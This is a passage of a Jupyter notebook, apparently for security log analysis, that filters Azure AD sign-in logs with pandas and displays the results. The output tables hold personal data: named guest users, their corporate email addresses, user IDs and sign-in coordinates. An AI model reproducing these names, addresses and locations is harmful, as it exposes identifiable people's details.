       "<p style='font-weight: bold'>Display only rows where AppDisplayName value is 'Azure Portal': </p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>UserType</th>\n",
       "      <th>FlaggedForReview</th>\n",
       "      <th>IPAddressFromResourceProvider</th>\n",
       "      <th>SignInIdentifier</th>\n",
       "      <th>SignInIdentifierType</th>\n",
       "      <th>ResourceTenantId</th>\n",
       "      <th>HomeTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>4</td>\n",
       "      <td>RU</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>9267d02c-5f76-40a9-a9eb-b686f3ca47aa</td>\n",
       "      <td>avasilev@viacode.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>5fccd68a-e65e-46ae-96b1-2d896d680249</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>59.93904113769531</td>\n",
       "      <td>30.3157901763916</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:50.274000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>d1c11047-9e6d-4814-80fc-334c453582a3</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>4</td>\n",
       "      <td>IL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>da48f21e-2f91-4c6a-9d30-56fd10a24672</td>\n",
       "      <td>kobyk@microsoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>72f988bf-86f1-41af-91ab-2d7cd011db47</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>32.16241073608399</td>\n",
       "      <td>34.84468078613281</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:44.957000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>60855931-eec4-466c-a24e-ba630c087a3e</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>4</td>\n",
       "      <td>IL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:44.9579314+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>da48f21e-2f91-4c6a-9d30-56fd10a24672</td>\n",
       "      <td>kobyk@microsoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>72f988bf-86f1-41af-91ab-2d7cd011db47</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>32.16241073608399</td>\n",
       "      <td>34.84468078613281</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:40.501000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>9e5f0875-91cf-423f-8bbe-36c6f31bc5a5</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>MAHE, Edouard</td>\n",
       "      <td>4</td>\n",
       "      <td>FR</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:40.5011019+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>MAHE, Edouard</td>\n",
       "      <td>36d6777f-e4a7-4d8b-ac7d-9db0cf1138b0</td>\n",
       "      <td>edouard.mahe@sogeti.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>76a2ae5a-9f00-4f6b-95ed-5d33d77c4d61</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>48.79909896850586</td>\n",
       "      <td>2.262470006942749</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:55:10.995000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>cff2d84e-8faf-4367-a551-b315ebd59aac</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Miemiec, Emanuel</td>\n",
       "      <td>4</td>\n",
       "      <td>PL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:55:10.9951954+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.443...</td>\n",
       "      <td>Miemiec, Emanuel</td>\n",
       "      <td>b112c84a-fe47-4428-b3af-14ea028e6bf7</td>\n",
       "      <td>emanuel.miemiec@capgemini.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>76a2ae5a-9f00-4f6b-95ed-5d33d77c4d61</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>50.06748962402344</td>\n",
       "      <td>18.64970016479492</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 69 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "3  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "4  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "5  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "9  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "\n",
       "                     TimeGenerated  \\\n",
       "2 2021-06-28 11:36:15.896000+00:00   \n",
       "3 2021-06-28 12:24:50.274000+00:00   \n",
       "4 2021-06-28 12:24:44.957000+00:00   \n",
       "5 2021-06-28 12:24:40.501000+00:00   \n",
       "9 2021-06-28 12:55:10.995000+00:00   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "2  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "3  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "4  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "5  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "9  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName OperationVersion    Category ResultType ResultSignature  \\\n",
       "2  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "3  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "4  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "5  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "9  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "2                             0  974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f   \n",
       "3                             0  d1c11047-9e6d-4814-80fc-334c453582a3   \n",
       "4                             0  60855931-eec4-466c-a24e-ba630c087a3e   \n",
       "5                             0  9e5f0875-91cf-423f-8bbe-36c6f31bc5a5   \n",
       "9                             0  cff2d84e-8faf-4367-a551-b315ebd59aac   \n",
       "\n",
       "           Resource     ResourceGroup ResourceProvider          Identity  \\\n",
       "2  Microsoft.aadiam  Microsoft.aadiam                     Arseny Vasilev   \n",
       "3  Microsoft.aadiam  Microsoft.aadiam                         Koby Koren   \n",
       "4  Microsoft.aadiam  Microsoft.aadiam                         Koby Koren   \n",
       "5  Microsoft.aadiam  Microsoft.aadiam                      MAHE, Edouard   \n",
       "9  Microsoft.aadiam  Microsoft.aadiam                   Miemiec, Emanuel   \n",
       "\n",
       "  Level Location AlternateSignInName AppDisplayName  \\\n",
       "2     4       RU                       Azure Portal   \n",
       "3     4       IL                       Azure Portal   \n",
       "4     4       IL                       Azure Portal   \n",
       "5     4       FR                       Azure Portal   \n",
       "9     4       PL                       Azure Portal   \n",
       "\n",
       "                                  AppId  \\\n",
       "2  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "3  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "4  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "5  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "9  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "\n",
       "                                                                                 AuthenticationDetails  \\\n",
       "2  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...   \n",
       "3  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...   \n",
       "4  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:44.9579314+00:00\",\\r\\n    \"authe...   \n",
       "5  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:40.5011019+00:00\",\\r\\n    \"authe...   \n",
       "9  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:55:10.9951954+00:00\",\\r\\n    \"authe...   \n",
       "\n",
       "  AuthenticationMethodsUsed  \\\n",
       "2                             \n",
       "3                             \n",
       "4                             \n",
       "5                             \n",
       "9                             \n",
       "\n",
       "                                                                       AuthenticationProcessingDetails  \\\n",
       "2                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "3  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...   \n",
       "4  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...   \n",
       "5                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "9                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "\n",
       "    AuthenticationRequirement  ... RiskLevelDuringSignIn RiskState  \\\n",
       "2  singleFactorAuthentication  ...                  none      none   \n",
       "3  singleFactorAuthentication  ...                  none      none   \n",
       "4  singleFactorAuthentication  ...                  none      none   \n",
       "5  singleFactorAuthentication  ...                  none      none   \n",
       "9  singleFactorAuthentication  ...                  none      none   \n",
       "\n",
       "                    ResourceDisplayName                      ResourceIdentity  \\\n",
       "2  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "3  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "4  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "5  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "9  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "\n",
       "  ServicePrincipalId ServicePrincipalName  \\\n",
       "2                                           \n",
       "3                                           \n",
       "4                                           \n",
       "5                                           \n",
       "9                                           \n",
       "\n",
       "                                                                                     Status  \\\n",
       "2                                                                          {'errorCode': 0}   \n",
       "3                                                                          {'errorCode': 0}   \n",
       "4  {'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'}   \n",
       "5                                                                          {'errorCode': 0}   \n",
       "9                                                                          {'errorCode': 0}   \n",
       "\n",
       "  TokenIssuerName TokenIssuerType  \\\n",
       "2                         AzureAD   \n",
       "3                         AzureAD   \n",
       "4                         AzureAD   \n",
       "5                         AzureAD   \n",
       "9                         AzureAD   \n",
       "\n",
       "                                                                                             UserAgent  \\\n",
       "2  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "3  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "4  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "5  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "9  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.443...   \n",
       "\n",
       "    UserDisplayName                                UserId  \\\n",
       "2    Arseny Vasilev  9267d02c-5f76-40a9-a9eb-b686f3ca47aa   \n",
       "3        Koby Koren  da48f21e-2f91-4c6a-9d30-56fd10a24672   \n",
       "4        Koby Koren  da48f21e-2f91-4c6a-9d30-56fd10a24672   \n",
       "5     MAHE, Edouard  36d6777f-e4a7-4d8b-ac7d-9db0cf1138b0   \n",
       "9  Miemiec, Emanuel  b112c84a-fe47-4428-b3af-14ea028e6bf7   \n",
       "\n",
       "               UserPrincipalName                           AADTenantId  \\\n",
       "2           avasilev@viacode.com  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "3            kobyk@microsoft.com  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "4            kobyk@microsoft.com  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "5        edouard.mahe@sogeti.com  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "9  emanuel.miemiec@capgemini.com  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "\n",
       "  UserType FlaggedForReview IPAddressFromResourceProvider SignInIdentifier  \\\n",
       "2    Guest             None                                                  \n",
       "3    Guest             None                                                  \n",
       "4    Guest             None                                                  \n",
       "5    Guest             None                                                  \n",
       "9    Guest             None                                                  \n",
       "\n",
       "  SignInIdentifierType                      ResourceTenantId  \\\n",
       "2                       4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "3                       4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "4                       4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "5                       4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "9                       4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "\n",
       "                           HomeTenantId        Type  Result  \\\n",
       "2  5fccd68a-e65e-46ae-96b1-2d896d680249  SigninLogs  Sucess   \n",
       "3  72f988bf-86f1-41af-91ab-2d7cd011db47  SigninLogs  Sucess   \n",
       "4  72f988bf-86f1-41af-91ab-2d7cd011db47  SigninLogs  Sucess   \n",
       "5  76a2ae5a-9f00-4f6b-95ed-5d33d77c4d61  SigninLogs  Sucess   \n",
       "9  76a2ae5a-9f00-4f6b-95ed-5d33d77c4d61  SigninLogs  Sucess   \n",
       "\n",
       "            Latitude          Longitude  \n",
       "2  59.93904113769531   30.3157901763916  \n",
       "3  32.16241073608399  34.84468078613281  \n",
       "4  32.16241073608399  34.84468078613281  \n",
       "5  48.79909896850586  2.262470006942749  \n",
       "9  50.06748962402344  18.64970016479492  \n",
       "\n",
       "[5 rows x 69 columns]"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Display only rows where AppDisplayName value is 'Azure Portal': \", \"bold\")\r\n",
    "filtered_df = data[data['AppDisplayName'] == \"Azure Portal\"]\r\n",
    "display(filtered_df.head())\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>Display rows where ClientAppUsed is either 'Browser' or 'Mobile Apps and Desktop clients':</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>UserType</th>\n",
       "      <th>FlaggedForReview</th>\n",
       "      <th>IPAddressFromResourceProvider</th>\n",
       "      <th>SignInIdentifier</th>\n",
       "      <th>SignInIdentifierType</th>\n",
       "      <th>ResourceTenantId</th>\n",
       "      <th>HomeTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:21.648000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
